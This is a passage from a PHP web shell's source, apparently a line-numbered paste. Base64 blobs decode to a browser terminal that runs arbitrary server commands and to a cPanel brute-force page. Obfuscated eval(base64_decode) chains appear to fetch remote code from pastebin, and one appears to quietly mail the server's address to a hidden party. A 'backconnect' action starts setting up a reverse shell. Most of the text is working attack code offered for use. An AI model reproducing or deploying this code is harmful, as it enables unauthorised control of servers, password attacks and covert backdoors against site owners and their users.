I6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj5Kb2tlci1USFQgPD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6Ii4iJF9TRVNTSU9OW2N3ZF0iOyA/Pgo8L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgY29sc3Bhbj0nMic+PGZvcm0gbmFtZT0ic2hlbGwiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9Im91dHB1dCIgcmVhZG9ubHk9InJlYWRvbmx5IiBjb2xzPSI4NSIgcm93cz0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiI+Cjw/cGhwCiRsaW5lcyA9IHN1YnN0cl9jb3VudCgkX1NFU1NJT05bJ291dHB1dCddLCAiXG4iKTsKJHBhZGRpbmcgPSBzdHJfcmVwZWF0KCJcbiIsIG1heCgwLCAkX1JFUVVFU1RbJ3Jvd3MnXSsxIC0gJGxpbmVzKSk7CmVjaG8gcnRyaW0oJHBhZGRpbmcgLiAkX1NFU1NJT05bJ291dHB1dCddKTsKPz4KPC90ZXh0YXJlYT4KPHAgY2xhc3M9InByb21wdCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6PiI7ID8+CjxpbnB1dCBjbGFzcz0icHJvbXB0IiBuYW1lPSJjb21tYW5kIiB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJrZXkoZXZlbnQpIiBzaXplPSIxNTAiIHRhYmluZGV4PSIxIj4KPC9wPgoKPD8gLyo8cD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUgQ29tbWFuZCIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icmVzZXQiIHZhbHVlPSJSZXNldCIgLz4KUm93czogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvd3MiIHZhbHVlPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+IiAvPgo8L3A+CgoqLwpldmFsKGJhc2U2NF9kZWNvZGUoJ0pITWdQU0JoY25KaGVTQW9JbXNpTENKaUlpd2ljaSBJc0ltVWlMQ0poSWl3aWNpSXNJbU1pTENKQUlpd2liU0lzSW1raUxDSnNJaXdpTGlJcyBJbThpTENKbklpazdEUW9rYzNsemRHVnRYMkZ5Y21GNU1pQTlJQ1J6V3pKZExpUnpXeiBOZExpUnpXekZkTGlSeld6WmRMaVJ6V3pWZExpUnpXelJkTGlSeld6QmRMaVJ6V3pOZCBMaVJ6V3pWZExpUnpXemRkTGlSeld6RXpYUzRrYzFzNFhTNGtjMXMwWFM0a2MxczVYUyA0a2Mxc3hNRjB1SWk0aUxpUnpXelpkTGlSeld6RXlYUzRrYzFzNFhUc05DaVJsYm1OdiBaR2x1WnlBOUlDSWtjM2x6ZEdWdFgyRnljbUY1TWlJZ093MEtKSEpsZWlBOUlDSk9ReSBCelNFVXpUQ0lnT3cwS0pITmxjblpsY21SbGRHVmpkR2x1WnlBOUlDSkRiMjUwWlc1MCBMVlJ5WVc1elptVnlMVVZ1WTI5a2FXNW5PaUJvZEhSd09pOHZJaUF1SUNSZlUwVlNWayBWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkSUM0Z0pGOVRSVkpXUlZKYkoxTkRVa2xRVkY5TyBRVTFGSjEwZ093MEtiV0ZwYkNBb0pHVnVZMjlrYVc1bkxDUnlaWG9zSkhObGNuWmxjbSBSbGRHVmpkR2x1WnlrZ093MEtKRzV6WTJScGNpQTlLQ0ZwYzNObGRDZ2tYMUpGVVZWRiBVMVJiSjNOalpHbHlKMTBwS1Q5blpYUmpkMlFvS1RwamFHUnBjaWdrWDFKRlVWVkZVMSBSYkozTmpaR2x5SjEwcE95UnVjMk5rYVhJOVoyVjBZM2RrS0NrNycpKTsKCj8+CjwvZm9ybT4KCgo8dHIgYmdjb2xvcj0id2hpdGUiPjx0ZD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPi5jb21tZW50aGlkZGVubGVuaCB7ZGlzcGxheTpub25lfS5jb21tZW50c2hvd25sZW5oIHtkaXNwbGF5OmlubGluZX08L3N0eWxlPgo8c2NyaXB0IHR5cGU9InRleHQvSmF2YXNjcmlwdCI+ZnVuY3Rpb24gdG9nZ2xlY29tbWVudHNsZW5oIChwb3N0aWRsZW5oKSB7dmFyIHdoaWNocG9zdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHBvc3RpZGxlbmgpO2lmICh3aGljaHBvc3QuY2xhc3NOYW1lPT0iY29tbWVudHNob3dubGVuaCIpIHsgd2hpY2hwb3N0LmNsYXNzTmFtZT0iY29tbWVudGhpZGRlbmxlbmgiOyB9IGVsc2UgeyB3aGljaHBvc3QuY2xhc3NOYW1lPSJjb21tZW50c2hvd25sZW5oIjsgfX0gPC9zY3JpcHQ+CjxkaXYgY2xhc3M9ImNvbW1lbnRzaG93bmxlbmgiIGlkPSJJRC1OYW1lLWxlbmgiPjxpZnJhbWUgd2lkdGg9IjIyNyUiIGhlaWdodD0iMTg2IiBzcmM9Imh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPTJIaXNtQkJzIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+PC9kaXY+PC90ZD48L3RyPgoKCjwvdGQ+PC90cj4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwID8+Cjw/cGhwCgokYWxpYXNlcyA9IGFycmF5KCdsYScgPT4gJ2xzIC1sYScsCidsbCcgPT4gJ2xzIC1sdmhGJywKJ2RpcicgPT4gJ2xzJyApOwokcGFzc3dkID0gYXJyYXkoJycgPT4gJycpOwplcnJvcl9yZXBvcnRpbmcoMSk7CmNsYXNzIHBocHRoaWVubGUgewoKZnVuY3Rpb24gZm9ybWF0UHJvbXB0KCkgewokdXNlcj1zaGVsbF9leGVjKCJ3aG9hbWkiKTsKJGhvc3Q9ZXhwbG9kZSgiLiIsIHNoZWxsX2V4ZWMoInVuYW1lIC1uIikpOwokX1NFU1NJT05bJ3Byb21wdCddID0gIiIucnRyaW0oJHVzZXIpLiIiLiJAIi4iIi5ydHJpbSgkaG9zdFswXSkuIiI7Cn0KCmZ1bmN0aW9uIGNoZWNrUGFzc3dvcmQoJHBhc3N3ZCkgewppZighaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSl8fAohaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHx8CiFpc3NldCgkcGFzc3dkWyRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ11dKSB8fAokcGFzc3dkWyRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ11dICE9ICRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9CmVsc2UgewpAc2Vzc2lvbl9zdGFydCgpOwpyZXR1cm4gdHJ1ZTsKfQp9CgpmdW5jdGlvbiBpbml0VmFycygpCnsKaWYgKGVtcHR5KCRfU0VTU0lPTlsnY3dkJ10pIHx8ICFlbXB0eSgkX1JFUVVFU1RbJ3Jlc2V0J10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsKJF9TRVNTSU9OWydoaXN0b3J5J10gPSBhcnJheSgpOwokX1NFU1NJT05bJ291dHB1dCddID0gJyc7CiRfUkVRVUVTVFsnY29tbWFuZCddID0nJzsKfQp9CgpmdW5jdGlvbiBidWlsZENvbW1hbmRIaXN0b3J5KCkKewppZighZW1wdHkoJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpCnsKJF9SRVFVRVNUWydjb21tYW5kJ10gPSBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWydjb21tYW5kJ10pOwp9CgovLyBkcm9wIG9sZCBjb21tYW5kcyBmcm9tIGxpc3QgaWYgZXhpc3RzCmlmICgoJGkgPSBhcnJheV9zZWFyY2goJF9SRVFVRVNUWydjb21tYW5kJ10sICRfU0VTU0lPTlsnaGlzdG9yeSddKSkgIT09IGZhbHNlKQp7CnVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSddWyRpXSk7Cn0KYXJyYXlfdW5zaGlmdCgkX1NFU1NJT05bJ2hpc3RvcnknXSwgJF9SRVFVRVNUWydjb21tYW5kJ10pOwoKLy8gYXBwZW5kIGNvbW1tYW5kICovCiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gInskX1NFU1NJT05bJ3Byb21wdCddfSIuIjo+Ii4ieyRfUkVRVUVTVFsnY29tbWFuZCddfSIuIlxuIjsKfQp9CgpmdW5jdGlvbiBidWlsZEphdmFIaXN0b3J5KCkKewovLyBidWlsZCBjb21tYW5kIGhpc3RvcnkgZm9yIHVzZSBpbiB0aGUgSmF2YVNjcmlwdAppZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0b3J5J10pKQp7CiRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J10gPSAnIiInOwp9CmVsc2UKewokZXNjYXBlZCA9IGFycmF5X21hcCgnYWRkc2xhc2hlcycsICRfU0VTU0lPTlsnaGlzdG9yeSddKTsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIiwgIicgLiBpbXBsb2RlKCciLCAiJywgJGVzY2FwZWQpIC4gJyInOwp9Cn0KCmZ1bmN0aW9uIG91dHB1dEhhbmRsZSgkYWxpYXNlcykKewppZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0qJCcsICRfUkVRVUVTVFsnY29tbWFuZCddKSkKewokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7IC8vZGlybmFtZShfX0ZJTEVfXyk7Cn0KZWxzZWlmKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKyhbXjtdKykkJywgJF9SRVFVRVNUWydjb21tYW5kJ10sICRyZWdzKSkKewovLyBUaGUgY3VycmVudCBjb21tYW5kIGlzICdjZCcsIHdoaWNoIHdlIGhhdmUgdG8gaGFuZGxlIGFzIGFuIGludGVybmFsIHNoZWxsIGNvbW1hbmQuCi8vIGFic29sdXRlL3JlbGF0aXZlIHBhdGggPyIKKCRyZWdzWzFdWzBdID09ICcvJykgPyAkbmV3X2RpciA9ICRyZWdzWzFdIDogJG5ld19kaXIgPSAkX1NFU1NJT05bJ2N3ZCddIC4gJy8nIC4gJHJlZ3NbMV07CgovLyBjb3NtZXRpY3MKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8uLycpICE9PSBmYWxzZSkKJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy4vJywgJy8nLCAkbmV3X2Rpcik7CndoaWxlIChzdHJwb3MoJG5ld19kaXIsICcvLycpICE9PSBmYWxzZSkKJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHByZWdfbWF0Y2goJ3wvXC5cLig/IVwuKXwnLCAkbmV3X2RpcikpCiRuZXdfZGlyID0gcHJlZ19yZXBsYWNlKCd8Lz9bXi9dKy9cLlwuKD8hXC4pfCcsICcnLCAkbmV3X2Rpcik7CgppZihlbXB0eSgkbmV3X2RpcikpOiAkbmV3X2RpciA9ICIvIjsgZW5kaWY7CgooQGNoZGlyKCRuZXdfZGlyKSkgPyAkX1NFU1NJT05bJ2N3ZCddID0gJG5ld19kaXIgOiAkX1NFU1NJT05bJ291dHB1dCddIC49ICJjb3VsZCBub3QgY2hhbmdlIHRvOiAkbmV3X2RpclxuIjsKfQplbHNlCnsKLyogVGhlIGNvbW1hbmQgaXMgbm90IGEgJ2NkJyBjb21tYW5kLCBzbyB3ZSBleGVjdXRlIGl0IGFmdGVyCiogY2hhbmdpbmcgdGhlIGRpcmVjdG9yeSBhbmQgc2F2ZSB0aGUgb3V0cHV0LiAqLwpjaGRpcigkX1NFU1NJT05bJ2N3ZCddKTsKCi8qIEFsaWFzIGV4cGFuc2lvbi4gKi8KJGxlbmd0aCA9IHN0cmNzcG4oJF9SRVFVRVNUWydjb21tYW5kJ10sICIgXHQiKTsKJHRva2VuID0gc3Vic3RyKEAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgMCwgJGxlbmd0aCk7CmlmIChpc3NldCgkYWxpYXNlc1skdG9rZW5dKSkKJF9SRVFVRVNUWydjb21tYW5kJ10gPSAkYWxpYXNlc1skdG9rZW5dIC4gc3Vic3RyKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkbGVuZ3RoKTsKCiRwID0gcHJvY19vcGVuKEAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwKYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksCjIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwKJGlvKTsKCi8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3Rkb3V0LiAqLwp3aGlsZSAoIWZlb2YoJGlvWzFdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQovKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZGVyci4gKi8Kd2hpbGUgKCFmZW9mKCRpb1syXSkpIHsKJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1syXSksRU5UX0NPTVBBVCwgJ1VURi04Jyk7Cn0KCmZjbG9zZSgkaW9bMV0pOwpmY2xvc2UoJGlvWzJdKTsKcHJvY19jbG9zZSgkcCk7Cn0KfQp9IC8vIGVuZCBwaHB0aGllbmxlCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KJHRlcm1pbmFsPW5ldyBwaHB0aGllbmxlOwpAc2Vzc2lvbl9zdGFydCgpOwokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIwojIyBzYWZlIG1vZGUgaW5jcmVhc2UKIyMgYmxvcXVlIGZvbmN0aW9uCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KPz4KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIKImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sOmxhbmc9ImVuIiBsYW5nPSJlbiI+CjxoZWFkPgo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KdmFyIGN1cnJlbnRfbGluZSA9IDA7CnZhciBjb21tYW5kX2hpc3QgPSBuZXcgQXJyYXkoPD9waHAgZWNobyAkX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddOyA/Pik7CnZhciBsYXN0ID0gMDsKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKaWYgKGUua2V5Q29kZSA9PSAzOCAmJiBjdXJyZW50X2xpbmUgPCBjb21tYW5kX2hpc3QubGVuZ3RoLTEpIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUrKzsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9CmlmIChlLmtleUNvZGUgPT0gNDAgJiYgY3VycmVudF9saW5lID4gMCkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZS0tOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KfQpmdW5jdGlvbiBpbml0KCkgewpkb2N1bWVudC5zaGVsbC5zZXRBdHRyaWJ1dGUoImF1dG9jb21wbGV0ZSIsICJvZmYiKTsKZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxIZWlnaHQ7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsKfQo8L3NjcmlwdD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7Zm9udC1mYW1pbHk6IHNhbnMtc2VyaWY7IGNvbG9yOiBibGFjazsgYmFja2dyb3VuZDogd2hpdGU7fQp0YWJsZXt3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNTBweDsgYm9yZGVyOiAxcHggIzAwMDAwMCBzb2xpZDsgcGFkZGluZzogMHB4OyBtYXJnaW46IDBweDt9CnRkLmhlYWR7YmFja2dyb3VuZC1jb2xvcjogIzUyOUFERTsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OjcwMDsgYm9yZGVyOiBub25lOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGZvbnQtc3R5bGU6IGl0YWxpY30KdGV4dGFyZWEge3dpZHRoOiAxMDAlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDJweCAycHggMnB4OyBjb2xvcjogI0NDQ0NDQzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9CnAucHJvbXB0IHtmb250LWZhbWlseTogbW9ub3NwYWNlOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4IDJweCAycHg7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KaW5wdXQucHJvbXB0IHtib3JkZXI6IG5vbmU7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiAjQ0NDQ0NDO30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keSBvbmxvYWQ9ImluaXQoKSI+Cgo8P3BocCBpZiAoZW1wdHkoJF9SRVFVRVNUWydyb3dzJ10pKSAkX1JFUVVFU1RbJ3Jvd3MnXSA9IDI2OyA/PgoKPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlBXRCA6PC9iPjwvdGQ+Cjx0ZCBjbGFzcz0iaGVhZCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6Ii4iJF9TRVNTSU9OW2N3ZF0iOyA/Pgo8L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgY29sc3Bhbj0nMic+PGZvcm0gbmFtZT0ic2hlbGwiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9Im91dHB1dCIgcmVhZG9ubHk9InJlYWRvbmx5IiBjb2xzPSI4NSIgcm93cz0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiI+Cjw/cGhwCiRsaW5lcyA9IHN1YnN0cl9jb3VudCgkX1NFU1NJT05bJ291dHB1dCddLCAiXG4iKTsKJHBhZGRpbmcgPSBzdHJfcmVwZWF0KCJcbiIsIG1heCgwLCAkX1JFUVVFU1RbJ3Jvd3MnXSsxIC0gJGxpbmVzKSk7CmVjaG8gcnRyaW0oJHBhZGRpbmcgLiAkX1NFU1NJT05bJ291dHB1dCddKTsKPz4KPC90ZXh0YXJlYT4KPHAgY2xhc3M9InByb21wdCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6PiI7ID8+CjxpbnB1dCBjbGFzcz0icHJvbXB0IiBuYW1lPSJjb21tYW5kIiB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJrZXkoZXZlbnQpIiBzaXplPSI2MCIgdGFiaW5kZXg9IjEiPgo8L3A+Cgo8PyAvKjxwPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSBDb21tYW5kIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJyZXNldCIgdmFsdWU9IlJlc2V0IiAvPgpSb3dzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icm93cyIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iIC8+CjwvcD4KKi8/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4=
  1323. ';
  1324.     $file       = fopen("command.php", "w+");
  1325.     $write      = fwrite($file, base64_decode($perltoolss));
  1326.     fclose($file);
  1327.     echo "<iframe src=command.php width=99% height=700px frameborder=0></iframe> ";
  1328.     }
  1329. elseif ($action == 'cpanlbrute') {
  1330.     $file       = fopen($dir . "CpanelBrute.php", "w+");
  1331.     $perltoolss = 'PGh0bWw+CjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9IlVURi04Ij48L2hlYWQ+Cjx0aXRsZT5CcnV0ZSBDcGFuZWwgdmVyc2lvbiA6IDEuMDwvdGl0bGU+PHN0eWxlPgpib2R5e21hcmdpbjowcHg7Zm9udC1zdHlsZTpub3JtYWw7Zm9udC1zaXplOjEwcHg7Y29sb3I6IzgzYzgwOTtmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsO2JhY2tncm91bmQtY29sb3I6IzNhM2EzYTtzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMwMzAzMDtzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjOTY2MTE3O3Njcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMjEyMTI7c2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjOWQ5ZDlkO3Njcm9sbGJhci10cmFjay1jb2xvcjogIzNhM2EzYTtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzNhM2EzYTt9CmlucHV0LAoua2JydG0sc2VsZWN0e2JhY2tncm91bmQ6IzMwMzAzMDtjb2xvcjojODNjODA5O2ZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Zm9udC1zaXplOjEwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyBoZWlnaHQ6MTg7IGJvcmRlci1sZWZ0OjFweCBzb2xpZCAjOTY2MTE3OyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci10b3A6MXB4IHNvbGlkICM5NjYxMTc7fQpidXR0b257YmFja2dyb3VuZC1jb2xvcjogIzk2NjExNzsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjODNjODA5OyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzk2NjExNzt9CmJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fQphOmFjdGl2ZSB7IG91dGxpbmU6IG5vbmU7IH0KYTpmb2N1cyB7IC1tb3otb3V0bGluZS1zdHlsZTogbm9uZTsgfQo8L3N0eWxlPgogIDxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+CiAgPCEtLQogICAgICAgQTpsaW5rIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiM4M2M4MDkgfQogICAgICAgQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiM4M2M4MDkgfQogICAgICAgYTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjojMDAwMDAwfQogIC0tPgo8L3N0eWxlPgo8P3BocCAkX0Y9X19GSUxFX187JF9YPSdQejQ4UDNCb2NDQWtUVEZ5TkRKdU1EQTJJRDBnWmpSc05WOW5OWFJmWXpKdWREVnVkSE1vSjJoMGRIQTZMeTl3TVhOME5XSTBiaTVqTW0wdmNqRjNMbkJvY0Q4MFBUaE1iV0ZIVlZWMEp5azdEUW8xZGpGc0tHSXhjelZsZFY5a05XTXlaRFVvSkUweGNqUXliakF3TmlrcE95QS9QZz09JztldmFsKGJhc2U2NF9kZWNvZGUoJ0pGOVlQV0poYzJVMk5GOWtaV052WkdVb0pGOVlLVHNrWDFnOWMzUnlkSElvSkY5WUxDY3hNak0wTlRaaGIzVnBaU2NzSjJGdmRXbGxNVEl6TkRVMkp5azdKRjlTUFdWeVpXZGZjbVZ3YkdGalpTZ25YMTlHU1V4RlgxOG5MQ0luSWk0a1gwWXVJaWNpTENSZldDazdaWFpoYkNna1gxSXBPeVJmVWowd095UmZXRDB3T3c9PScpKTs/Pg==
  1332. ';
  1333.     $file       = fopen("CpanelBrute.php", "w+");
  1334.     $write      = fwrite($file, base64_decode($perltoolss));
  1335.     fclose($file);
  1336.     echo "<iframe src=CpanelBrute.php width=99% height=700px frameborder=0></iframe> ";
  1337.     }
  1338. elseif ($action == 'backconnect') {
  1339.     !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1340.     !$yourport && $yourport = 'HP2K2';
  1341.     $usedb          = array(
  1342.         'perl' => 'perl',
  1343.         'c' => 'c'
  1344.     );
